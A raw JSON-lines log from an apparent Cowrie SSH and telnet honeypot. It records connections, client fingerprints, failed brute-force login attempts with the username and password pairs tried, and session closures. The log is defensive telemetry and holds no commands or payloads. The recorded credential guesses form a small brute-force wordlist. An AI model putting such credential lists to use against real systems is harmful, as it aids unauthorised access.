{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:24.609645Z","src_ip":"159.203.92.129","session":"d6115d224864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":34880,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d7de0015b29","protocol":"ssh","message":"New connection: 170.79.37.88:34880 (159.203.135.109:22) [session: 0d7de0015b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:41.774511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:41.779184Z","src_ip":"170.79.37.88","session":"0d7de0015b29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:41.888341Z","src_ip":"170.79.37.88","session":"0d7de0015b29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"*","message":"login attempt [testuser/*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:42.340958Z","src_ip":"170.79.37.88","session":"0d7de0015b29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:43.448401Z","src_ip":"170.79.37.88","session":"0d7de0015b29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57374,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f39a6839b9c","protocol":"ssh","message":"New connection: 159.203.92.129:57374 (159.203.135.109:22) [session: 7f39a6839b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:06.936637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:06.979787Z","src_ip":"159.203.92.129","session":"7f39a6839b9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:06.984356Z","src_ip":"159.203.92.129","session":"7f39a6839b9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Soyoun","password":"korea2018","message":"login attempt [Soyoun/korea2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:07.169412Z","src_ip":"159.203.92.129","session":"7f39a6839b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:08.206369Z","src_ip":"159.203.92.129","session":"7f39a6839b9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":41428,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e74a42e6543","protocol":"ssh","message":"New connection: 170.79.37.88:41428 (159.203.135.109:22) [session: 7e74a42e6543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:24.044297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:24.053271Z","src_ip":"170.79.37.88","session":"7e74a42e6543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:24.148372Z","src_ip":"170.79.37.88","session":"7e74a42e6543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser2","password":"testuser2","message":"login attempt [testuser2/testuser2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:24.539602Z","src_ip":"170.79.37.88","session":"7e74a42e6543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:25.645635Z","src_ip":"170.79.37.88","session":"7e74a42e6543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.157.139.71","src_port":4739,"dst_ip":"10.17.0.5","dst_port":23,"session":"c485b46d2d0f","protocol":"telnet","message":"New connection: 175.157.139.71:4739 (10.17.0.5:23) [session: c485b46d2d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:26.476780Z"}
{"eventid":"cowrie.session.closed","duration":12.424430131912231,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:38.901079Z","src_ip":"175.157.139.71","session":"c485b46d2d0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":47116,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd5958f761c7","protocol":"ssh","message":"New connection: 210.183.21.53:47116 (10.17.0.5:22) [session: dd5958f761c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:41.109279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:41.114946Z","src_ip":"210.183.21.53","session":"dd5958f761c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:41.323923Z","src_ip":"210.183.21.53","session":"dd5958f761c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@abc","message":"login attempt [root/123@abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:42.172348Z","src_ip":"210.183.21.53","session":"dd5958f761c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:43.378618Z","src_ip":"210.183.21.53","session":"dd5958f761c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00418257713318,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:45.946693Z","src_ip":"144.124.192.106","session":"3f10c8954b81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00430703163147,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:51.188819Z","src_ip":"144.124.192.106","session":"b1daf9ac15e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.124.192.106","src_port":52198,"dst_ip":"159.203.135.109","dst_port":23,"session":"d48e9300d694","protocol":"telnet","message":"New connection: 144.124.192.106:52198 (159.203.135.109:23) [session: d48e9300d694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:51.682344Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42180,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5514366735a","protocol":"ssh","message":"New connection: 159.203.92.129:42180 (159.203.135.109:22) [session: e5514366735a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:52.117961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:52.164549Z","src_ip":"159.203.92.129","session":"e5514366735a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:52.168860Z","src_ip":"159.203.92.129","session":"e5514366735a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Soyoun","password":"korea2019","message":"login attempt [Soyoun/korea2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:52.319486Z","src_ip":"159.203.92.129","session":"e5514366735a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:53.326069Z","src_ip":"159.203.92.129","session":"e5514366735a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00142216682434,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:58:53.525258Z","src_ip":"144.124.192.106","session":"6e31db8b61d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":50520,"dst_ip":"159.203.135.109","dst_port":22,"session":"40bb8d3d0e29","protocol":"ssh","message":"New connection: 170.79.37.88:50520 (159.203.135.109:22) [session: 40bb8d3d0e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:12.161983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:12.166709Z","src_ip":"170.79.37.88","session":"40bb8d3d0e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:12.267690Z","src_ip":"170.79.37.88","session":"40bb8d3d0e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!@#$%^&*","message":"login attempt [test/!@#$%^&*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:12.707252Z","src_ip":"170.79.37.88","session":"40bb8d3d0e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:13.811942Z","src_ip":"170.79.37.88","session":"40bb8d3d0e29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":60002,"dst_ip":"10.17.0.5","dst_port":22,"session":"2efa50fd67e9","protocol":"ssh","message":"New connection: 185.216.119.134:60002 (10.17.0.5:22) [session: 2efa50fd67e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:28.671962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:28.677342Z","src_ip":"185.216.119.134","session":"2efa50fd67e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:28.884435Z","src_ip":"185.216.119.134","session":"2efa50fd67e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali2025","message":"login attempt [ali/ali2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:29.733764Z","src_ip":"185.216.119.134","session":"2efa50fd67e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:30.961238Z","src_ip":"185.216.119.134","session":"2efa50fd67e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37818,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e088b2f2247","protocol":"ssh","message":"New connection: 159.203.92.129:37818 (159.203.135.109:22) [session: 9e088b2f2247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:36.594200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:36.644288Z","src_ip":"159.203.92.129","session":"9e088b2f2247","protocol":"ssh"}
